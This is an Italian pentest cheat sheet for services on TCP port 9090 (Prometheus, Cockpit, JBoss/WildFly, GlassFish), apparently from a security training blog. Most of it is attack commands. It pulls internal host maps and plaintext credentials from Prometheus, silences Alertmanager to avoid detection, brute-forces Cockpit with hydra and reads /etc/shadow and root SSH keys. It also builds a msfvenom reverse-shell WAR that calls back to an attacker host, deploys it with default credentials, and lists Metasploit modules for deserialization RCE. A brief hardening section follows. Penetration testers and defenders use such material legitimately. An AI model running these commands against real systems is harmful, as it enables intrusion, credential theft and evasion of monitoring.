Porta 9090 Pentest: Prometheus, Cockpit Linux e JBoss RCE

Porta 9090: Prometheus senza auth espone intera infrastruttura e credenziali, Cockpit dà shell Linux nel browser, JBoss WAR deploy per RCE. Cheat sheet operativo incluso.
- Pubblicato il 2026-04-18
- Tempo di lettura: 5 min
La porta 9090 TCP è un crocevia di strumenti di gestione e monitoring: Prometheus (il sistema di metriche dominante nel mondo cloud-native), Cockpit (la console di gestione Linux di Red Hat che dà una shell nel browser), JBoss/WildFly Management Console (il pannello admin del secondo application server Java più diffuso dopo Tomcat), e a volte anche Openfire (server XMPP) o GlassFish. Ciascuno di questi ha il suo modo di rovinarti la giornata se sei un difensore — o di renderla bellissima se sei un pentester.
Il pattern è ormai familiare: i servizi sulle porte non standard vengono protetti meno di quelli sulle porte canoniche. Un Prometheus esposto svela la topologia completa dell’infrastruttura. Un Cockpit con credenziali deboli dà una shell root in un browser. Una console JBoss permette il deploy di WAR malevoli esattamente come il Tomcat Manager. E la cosa bella è che li trovi tutti sulla stessa porta.
1. Identificare il Servizio #
nmap -sV -p 9090 10.10.10.40curl -s http://10.10.10.40:9090/ -I
curl -s http://10.10.10.40:9090/ | head -80| Indicatore | Servizio | Prossimo step |
|---|---|---|
| HTML con “Prometheus” e “Time Series” | Prometheus | Enumera target e metriche |
HTML con “Cockpit” o redirect a /cockpit/login | Cockpit | Credenziali Linux |
| HTML con “JBoss” o “WildFly” Management | JBoss/WildFly | Default creds + WAR deploy |
Server: GlassFish | GlassFish | Default admin:(vuota) |
| HTML con “Openfire” | Openfire XMPP | Default admin:admin |
2. Prometheus #
Prometheus è il sistema di monitoring standard in ambienti Kubernetes e cloud-native. Raccoglie metriche da centinaia di servizi tramite HTTP scraping. La sua web UI sulla 9090 è quasi sempre senza autenticazione — perché il design originale di Prometheus assume che sia accessibile solo dalla rete interna.
Information Disclosure #
# Targets — tutti i servizi monitorati
curl -s http://10.10.10.40:9090/api/v1/targets | python3 -m json.tool{
"data": {
"activeTargets": [
{"labels": {"instance": "web-01.corp.internal:9100", "job": "node-exporter"}},
{"labels": {"instance": "db-prod.corp.internal:9187", "job": "postgres-exporter"}},
{"labels": {"instance": "redis-01.corp.internal:9121", "job": "redis-exporter"}},
{"labels": {"instance": "k8s-master.corp.internal:6443", "job": "kubernetes-api"}},
{"labels": {"instance": "rabbitmq.corp.internal:15692", "job": "rabbitmq"}},
{"labels": {"instance": "elasticsearch.corp.internal:9200", "job": "elasticsearch"}}
]
}
}Una singola query e hai la mappa completa dell’infrastruttura: hostname interni, porte dei servizi, tipo di database, versione dei servizi. Ogni instance è un nuovo target per il pentest.
Metriche sensibili #
# Tutte le metriche disponibili
curl -s http://10.10.10.40:9090/api/v1/label/__name__/values | python3 -m json.tool | head -50# Query PromQL per informazioni specifiche
# Versione del kernel di tutti i server
curl -s "http://10.10.10.40:9090/api/v1/query?query=node_uname_info" | python3 -m json.tool
# Utilizzo CPU (identifica server sovraccarichi — target per DoS o server ignorati)
curl -s "http://10.10.10.40:9090/api/v1/query?query=100-(avg(rate(node_cpu_seconds_total{mode='idle'}[5m]))by(instance)*100)"
# Spazio disco (identifica server pieni — possibili problemi di manutenzione)
curl -s "http://10.10.10.40:9090/api/v1/query?query=node_filesystem_avail_bytes"
# Connessioni di rete attive (chi parla con chi)
curl -s "http://10.10.10.40:9090/api/v1/query?query=node_netstat_Tcp_CurrEstab"Metriche con credenziali #
Alcuni exporter Prometheus espongono involontariamente dati sensibili:
# Cerca metriche con label che contengono credenziali
curl -s "http://10.10.10.40:9090/api/v1/query?query={__name__=~'.*password.*'}"
curl -s "http://10.10.10.40:9090/api/v1/query?query={__name__=~'.*secret.*'}"
curl -s "http://10.10.10.40:9090/api/v1/query?query={__name__=~'.*token.*'}"
# Configurazione di Prometheus (può contenere credenziali per target autenticati)
curl -s http://10.10.10.40:9090/api/v1/status/config | python3 -m json.toolLa configurazione può contenere:
scrape_configs:
- job_name: 'secured-target'
basic_auth:
username: 'prometheus'
password: 'Pr0m_Scr4pe_2025!'Credenziali per i servizi monitorati — in chiaro nel config.
Alertmanager (porta 9093) #
# Se Alertmanager è esposto
curl -s http://10.10.10.40:9093/api/v1/alerts | python3 -m json.toolGli alert attivi rivelano: quali servizi sono down, quali soglie sono superate, configurazione dei canali di notifica (Slack webhook, email, PagerDuty).
# Silenza un alert (anti-detection durante il pentest)
curl -s -X POST http://10.10.10.40:9093/api/v1/silences \
-H "Content-Type: application/json" \
-d '{"matchers":[{"name":"alertname","value":"HighCPU","isRegex":false}],"startsAt":"2026-01-01T00:00:00Z","endsAt":"2027-01-01T00:00:00Z","comment":"maintenance","createdBy":"admin"}'3. Cockpit — Shell Linux nel Browser #
Cockpit è la console di gestione web integrata in RHEL, CentOS, Fedora e Ubuntu Server. Fornisce gestione di sistema completa: servizi, storage, rete, container — e un terminale web che è una vera shell del sistema.
Accesso #
curl -s https://10.10.10.40:9090/ -I -k
# Redirect a /cockpit/loginCockpit autentica con le credenziali Linux del sistema — se conosci username e password di un utente locale, sei dentro.
Credenziali #
# Testa credenziali note (da altri servizi compromessi)
# Non ha credenziali "default" proprie — usa PAM/Linux
# Se hai trovato password da Redis, database, .env → testale qui
# Brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt 10.10.10.40 https-post-form \
"/cockpit/login:user=^USER^&password=^PASS^:Wrong password" -s 9090Post-auth Cockpit #
Con accesso Cockpit:
1. Clicca "Terminal" nella sidebar → shell completa nel browser
2. Se sei root → game over
3. Se sei utente normale → enumera per privilege escalationLa shell Cockpit è identica a una sessione SSH — puoi fare tutto: installare pacchetti, modificare configurazione, leggere log, gestire utenti.
# Da Terminal Cockpit
sudo -l
cat /etc/shadow
cat /root/.ssh/id_rsaCockpit mostra anche: processi in esecuzione (come htop), log di sistema (come journalctl), connessioni di rete, container Docker/Podman, macchine virtuali se cockpit-machines è installato.
4. JBoss / WildFly Management Console #
JBoss (ora WildFly) è l’application server Java EE open source di Red Hat. La Management Console sulla 9090 è il pannello di controllo per deployare applicazioni, gestire datasource e configurare il server.
Enumerazione #
curl -s http://10.10.10.40:9090/ | head -20
# Se vedi "JBoss" o "WildFly" o "HAL Management Console"# Management API
curl -s http://10.10.10.40:9090/management \
--digest -u admin:admin \
-H "Content-Type: application/json" \
-d '{"operation":"read-attribute","name":"server-state","json.pretty":1}'Default credentials #
| Username | Password | Contesto |
|---|---|---|
admin | admin | Setup comune |
admin | (vuota) | JBoss AS 4.x-6.x |
admin | password | WildFly dev |
In WildFly, l’utente management si crea con add-user.sh — se non è stato eseguito, la console potrebbe non essere accessibile (o essere aperta a tutti).
WAR Deploy — Stesso Pattern del Tomcat #
# Genera WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.200 LPORT=4444 -f war -o shell.war# Deploy via Management CLI
curl -s http://10.10.10.40:9090/management \
--digest -u admin:admin \
-F "file=@shell.war" \
-F "operation=add" \
-F "address=[{\"deployment\":\"shell.war\"}]"
# Abilita il deployment
curl -s http://10.10.10.40:9090/management \
--digest -u admin:admin \
-H "Content-Type: application/json" \
-d '{"operation":"deploy","address":[{"deployment":"shell.war"}]}'# Trigger
curl http://10.10.10.40:8080/shell/# Metasploit
use exploit/multi/http/jboss_management_deploy
set RHOSTS 10.10.10.40
set RPORT 9090
set LHOST 10.10.10.200
runCVE JBoss/WildFly #
searchsploit jboss
searchsploit wildflyCVE-2017-12149 — JBoss Deserialization RCE
# Verifica endpoint vulnerabile
curl -s http://10.10.10.40:8080/invoker/readonly -I
# Se 500 → probabilmente vulnerabile
# Exploit
use exploit/multi/http/jboss_invoke_deploy
set RHOSTS 10.10.10.40
runJMXInvokerServlet — deserializzazione Java classica:
curl -s http://10.10.10.40:8080/invoker/JMXInvokerServlet -I
# Se 200 → target per ysoserialPost-exploitation JBoss #
# Datasource credentials (come WebLogic/Tomcat)
cat /opt/wildfly/standalone/configuration/standalone.xml | grep -A10 "datasource"<datasource jndi-name="java:/jdbc/AppDS">
<connection-url>jdbc:postgresql://db-prod:5432/app</connection-url>
<security>
<user-name>app_user</user-name>
<password>AppDB_2025!</password>
</security>
</datasource>Credenziali PostgreSQL.
5. GlassFish (se presente) #
# Default: admin con password vuota
curl -s -u "admin:" https://10.10.10.40:4848/management/domain -k -I
# 4848 è la porta admin standard, ma può essere 9090# Deploy WAR via REST
curl -s -u admin: -X POST https://10.10.10.40:4848/management/domain/applications/application \
-H "X-Requested-By: GlassFish" \
-F "id=@shell.war" -k6. Detection & Hardening #
Prometheus #
- Non esporre su Internet — Prometheus dietro reverse proxy con auth
- Auth via reverse proxy — Prometheus nativo non ha autenticazione
- Scrub credenziali dal config — usa file SD (service discovery) senza password inline
- Firewall — porta 9090 solo dalla rete di monitoring
Cockpit #
- Password forti per gli utenti Linux — Cockpit usa PAM
- Disabilita root login in Cockpit:
rootin/etc/cockpit/disallowed-users - TLS con certificato valido
- Firewall — porta 9090 solo da IP di amministrazione
JBoss/WildFly #
- Crea utente admin con password forte (
add-user.sh) - Rimuovi endpoint pericolosi:
/invoker/,/jmx-console/,/web-console/ - Non esporre la Management Console su interfacce esterne
- Patch — deserializzazione Java è un problema ricorrente
7. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap | nmap -sV -p 9090 target |
| Banner | curl -s http://target:9090/ -I |
| Prometheus | |
| Targets | curl http://target:9090/api/v1/targets |
| Config | curl http://target:9090/api/v1/status/config |
| Query | curl "http://target:9090/api/v1/query?query=PROMQL" |
| Kernel info | curl ".../query?query=node_uname_info" |
| Alertmanager | curl http://target:9093/api/v1/alerts |
| Cockpit | |
| Login | https://target:9090/cockpit/login |
| Brute force | hydra -l root -P wordlist target https-post-form ... |
| JBoss/WildFly | |
| Management | curl http://target:9090/management --digest -u admin:admin |
| WAR deploy | Via management API o Metasploit jboss_management_deploy |
| Invoker | curl http://target:8080/invoker/readonly |
| JMX | curl http://target:8080/invoker/JMXInvokerServlet |
| Searchsploit | searchsploit jboss wildfly glassfish |
Riferimento: Prometheus Security, Cockpit docs, JBoss/WildFly Security, HackTricks. Uso esclusivo in ambienti autorizzati. https://www.pentestpad.com/port-exploit/port-9090-prometheus-prometheus-monitoring
Prometheus esposto? Cockpit accessibile? La tua infrastruttura potrebbe essere più aperta di quanto pensi. Verifica con HackIta. Per padroneggiare il pentesting di middleware Java: formazione avanzata 1:1.







